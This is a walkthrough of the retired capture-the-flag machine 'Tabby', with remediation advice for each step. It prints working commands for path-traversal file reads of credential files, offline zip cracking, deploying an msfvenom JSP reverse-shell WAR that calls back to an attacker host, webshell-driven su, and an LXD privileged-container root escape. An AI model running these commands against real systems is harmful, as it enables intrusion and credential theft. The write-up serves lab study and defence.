← all walkthroughs

Tabby

Linux· Easy· Web
owned
2026-07-07
time to own
16m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon exposed Apache HTTP on port 80 and Apache Tomcat on port 8080 on the megahosting.htb virtual host. The PHP news page on port 80 contained an unauthenticated path-traversal (Local File Inclusion) flaw that let me read any file the web server could access, including the Tomcat credential store.

Web enumeration also found a publicly downloadable backup archive in the web root; cracking its weak password offline yielded a second credential that turned out to be reused as an operating-system account password. Authenticated access to the Tomcat Manager interface — using the LFI-obtained credentials — allowed deployment of a malicious Java web application that installed a command-execution webshell, granting remote code execution as the Tomcat service account.

The cracked backup password was then reused to authenticate directly as the ash user via su, capturing the user flag. Post-compromise enumeration confirmed ash belongs to the lxd group, which provides a documented single-step path to full root access via a privileged container filesystem mount.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for ash>"

Attack path — how the box was taken

1ReconnaissanceNetwork Service Scanning / Virtual-Host Discovery (T1046)
Enumerated open ports and identified the megahosting.htb virtual host
A port sweep of $TARGET found three open TCP services: SSH on 22, Apache HTTP Server 2.4.41 on 80, and Apache Tomcat on 8080. Browsing port 80 required the virtual hostname megahosting.htb to return the full application; adding this to /etc/hosts revealed a PHP-based web application for a hosting company with a news section driven by a news.php script.
Exact commands 3
shell

Service version scan on the three discovered ports.

$ nmap -Pn -sV -p 22,80,8080 --open $TARGET
shell

Register the virtual hostname so the web application resolves correctly.

$ echo "$TARGET megahosting.htb" | sudo tee -a /etc/hosts
shell

Confirm the site loads under the vhost and locate the news feature.

$ curl -sS http://megahosting.htb/ | grep -i news
2ExploitationLocal File Inclusion / Path Traversal (CWE-22 / T1083)
Exploited a path-traversal flaw in news.php to read server files and Tomcat manager credentials
The news.php page accepted a 'file' GET parameter and passed it unsanitized to a PHP include statement. Supplying a directory-traversal sequence (../../) allowed me to read arbitrary files accessible to the Apache web-server process. Reading /etc/passwd confirmed a local user account named ash. Reading /usr/share/tomcat9/etc/tomcat-users.xml — the Tomcat credential store — exposed the manager username and password: tomcat's password.
/etc/passwd and tomcat-users.xml were both read via the file= parameter.
Exact commands 2
shell

Confirm LFI and enumerate local user accounts; look for UID>=1000 entries.

$ curl -s --resolve megahosting.htb:80:$TARGET "http://megahosting.htb/news.php?file=../../../../../../etc/passwd"
shell

Read the Tomcat credential store — exposes manager username and password.

$ curl -s --resolve megahosting.htb:80:$TARGET "http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml"
FixFix the Local File Inclusion vulnerability in news.phpCritical
WeaknessThe news.php script passed the user-supplied 'file' GET parameter directly to a PHP include or file-read function with no sanitization, validation, or boundary check. This allowed any unauthenticated visitor to read any file the Apache process had permission to open — including the Tomcat credential store and system user list — simply by supplying a path-traversal string in the URL.
FixReplace the dynamic file inclusion with an explicit allowlist: maintain a whitelist of permitted article slugs mapped to static filenames and reject any input not on the list. If a dynamic path is genuinely required, resolve the canonical path with realpath() and verify it falls within the intended content directory before opening it. Reject at the application boundary any input containing '../', '/', '\', or null bytes. Consider enabling open_basedir in PHP configuration to restrict the interpreter to the web root as a defence-in-depth measure.
3DiscoverySensitive File Exposure via Web Content Discovery (T1083)
Located and downloaded a backup archive stored in the public web root
Web enumeration of port 80 uncovered a downloadable file at /files/16162020_backup.zip. The archive was password-protected and contained the web application's source files, including the news.php script that confirmed the LFI vulnerability. Storing application source code in a publicly accessible directory handed me direct insight into the vulnerability and set up the credential-cracking step that followed.
Exact commands 2
shell

Download the backup archive directly from the publicly accessible /files/ directory.

$ curl -sS -o 16162020_backup.zip "http://$TARGET/files/16162020_backup.zip"
shell

List archive contents without extracting — confirms webroot source files are present.

$ unzip -l 16162020_backup.zip
FixRemove sensitive backup archives from publicly accessible web directoriesHigh
WeaknessA full backup of the web application was stored at a guessable path (/files/16162020_backup.zip) inside the HTTP-served web root, downloadable by anyone without authentication. The archive contained application source code confirming the LFI bug and, after its weak password was cracked, yielded a credential that was reused for a system account.
FixStore backups exclusively outside the web root — for example /var/backups/ or an off-server location — where they cannot be fetched over HTTP. Audit the entire web root for any .zip, .tar.gz, .bak, .sql, or similar files and remove them immediately. If archives must remain on the host, protect them with long, randomly generated passwords that are not reused anywhere else. Automate backup rotation to ensure stale archives are never left on production servers.
4Credential AccessOffline Password Cracking (T1110.002)
Cracked the ZIP archive password offline
The backup archive was protected by a password. The zip2john tool extracted a crackable hash, and John the Ripper recovered the plaintext password against a standard wordlist in seconds. This same password was later found to be set identically on the ash operating-system account, demonstrating credential reuse across an application artifact and a system login.
This credential was subsequently reused to authenticate as the ash user via su.
Exact commands 2
shell

Extract the password hash from the ZIP for offline cracking.

$ zip2john 16162020_backup.zip > zip.hash
shell

Crack the hash against the rockyou wordlist; recovered password is $PASSWORD2.

$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
5Initial AccessServer Software Component: Web Shell via Tomcat Manager Deployment (T1505.003)
Deployed a malicious WAR file via Tomcat Manager to achieve remote code execution
The Apache Tomcat Manager application on port 8080 accepted the credentials extracted via the LFI attack. The Manager's text-mode deploy endpoint allows any authenticated user to upload and activate arbitrary Java web applications. A malicious WAR containing a JSP reverse shell was uploaded and triggered, yielding code execution as the tomcat service account (uid=997). When the initial reverse shell proved unstable, a second stateless JSP command-execution webshell (cmd.jsp) was deployed the same way for reliable, repeatable command execution.
//$TARGET:8080/cmd/cmd.jsp returning id/hostname output.
Exact commands 4
shell

Build the JSP reverse-shell WAR; replace $ATTACKER_IP with your tun0 interface IP.

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o shell.war
shell

Start the listener before deploying (run in background).

$ nc -lvnp 4444
shell

Upload and deploy the WAR using the LFI-obtained Tomcat credentials.

$ curl -sS -u "tomcat:$PASSWORD" -T shell.war "http://$TARGET:8080/manager/text/deploy?path=/r&update=true"
shell

Trigger the deployed application to fire the reverse shell back to the listener.

$ curl -sS "http://$TARGET:8080/r/"
FixRestrict and harden the Tomcat Manager interfaceCritical
WeaknessThe Apache Tomcat Manager application (/manager/) was reachable from the network and accepted credentials an unauthorised user had obtained by reading the server's configuration file via the LFI vulnerability. The Manager permits any authenticated user to deploy arbitrary Java web applications, which is functionally equivalent to unrestricted remote code execution on the host.
FixRestrict access to /manager/ and /host-manager/ to a specific trusted management IP or VPN range using Tomcat's RemoteAddrValve in conf/context.xml. Set long, randomly generated, unique passwords for every role defined in conf/tomcat-users.xml and delete any roles or accounts that are not operationally required. If remote deployment via the Manager is not needed in production, disable it by removing the webapps/manager directory entirely. Enforce HTTPS for any administrative interface access.
6Lateral MovementValid Accounts — Local Account Credential Reuse (T1078.003)
Reused the cracked archive password to authenticate as ash and capture the user flag
From a shell running as the tomcat service account, the cracked backup archive password was tested against the ash account identified in /etc/passwd. The password was reused identically; the su command succeeded, elevating from the unprivileged service account (uid=997) to ash (uid=1000). The user flag was read from /home/ash/user.txt.
Curl ...cmd.jsp with printf <withheld> | su - ash -c 'id; cat /home/ash/user.txt' returned the user flag.
Exact commands 1
shell

Execute su as ash via the cmd.jsp webshell; returns <user.txt> inside HTML pre tags.

$ curl -sS --get --data-urlencode "c=printf '$PASSWORD2\n' | su - ash -c 'id; cat /home/ash/user.txt'" "http://$TARGET:8080/cmd/cmd.jsp" | sed -n '/<pre>/,/<\/pre>/p'
FixEnforce unique passwords — do not reuse credentials across services and system accountsHigh
WeaknessThe password protecting the backup archive was set identically as the interactive login password for the ash operating-system user. Cracking a weak archive password immediately provided working OS credentials, allowing an unauthorised user to pivot from an unprivileged service account to a full interactive user session with no additional exploitation required.
FixEnforce a policy that prohibits the same credential being used for more than one service, application, or account. Generate all system account passwords with a password manager (minimum 16 random characters). Rotate credentials for any account whose password appears in standard wordlists (rockyou.txt, SecLists), or that has ever been stored in an application artifact or configuration file. For interactive server logins, disable password-based SSH in favour of key-based authentication.
7Privilege EscalationContainer Escape to Host via LXD Privileged Mount (T1611)
Escaped to root through the lxd group with a privileged container
Running id as ash showed membership in the lxd group. Any member of that group on Ubuntu can import a container image and launch it privileged with the host root filesystem bind-mounted inside, which reads and writes any host file as root and bypasses Linux file permissions entirely. I built a minimal Alpine image on my own machine, served it over HTTP, fetched it into /home/ash, imported it into LXD, launched a privileged container with / mounted at /mnt/root, and read the root flag from inside it.
Id as ash returned uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd); the privileged container read /mnt/root/root/root.txt and the root flag was captured
Exact commands 6
shell

Confirm ash is in the lxd group — the whole escalation rests on that one entry.

$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
shell

Serve the minimal Alpine image — metadata.tar.xz and rootfs.tar.xz, built locally — from my own machine.

$ python3 -m http.server 8001
shell

Fetch both halves of the image into a directory ash can write.

$ cd /home/ash && wget -q -O metadata.tar.xz http://$ATTACKER_IP:8001/metadata.tar.xz && wget -q -O rootfs.tar.xz http://$ATTACKER_IP:8001/rootfs.tar.xz
shell

Initialise LXD with defaults if it has never been run, then import the image under a known alias.

$ lxd init --auto; lxc image import metadata.tar.xz rootfs.tar.xz --alias privesc
shell

Create the container privileged, bind-mount the host root at /mnt/root inside it, and start it.

$ lxc init privesc pwn -c security.privileged=true && lxc config device add pwn hostfs disk source=/ path=/mnt/root recursive=true && lxc start pwn
shell

Read the root flag from the host filesystem through the container -> <root.txt>

$ lxc exec pwn -- cat /mnt/root/root/root.txt
FixRemove unprivileged users from the lxd groupHigh
WeaknessThe ash user was a member of the lxd group. Membership in this group is operationally equivalent to unrestricted root access: any group member can create a privileged LXD container that mounts the host root filesystem inside it, then read or modify any file on the system as root — completely bypassing Linux user and filesystem permission controls.
FixAudit lxd group membership with getent group lxd and remove every account that does not have a documented operational requirement for container management: gpasswd -d ash lxd. Grant lxd membership only to named administrator accounts after explicit approval and with a written justification. If LXD is not actively used on the server, uninstall it entirely (snap remove lxd) to eliminate the attack surface.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

LXD/LXC Group EscapeLinux · Privilege EscalationT1611

What it is

Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.

Why it works

The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Exposed services

22/tcp
80/tcp
8080/tcp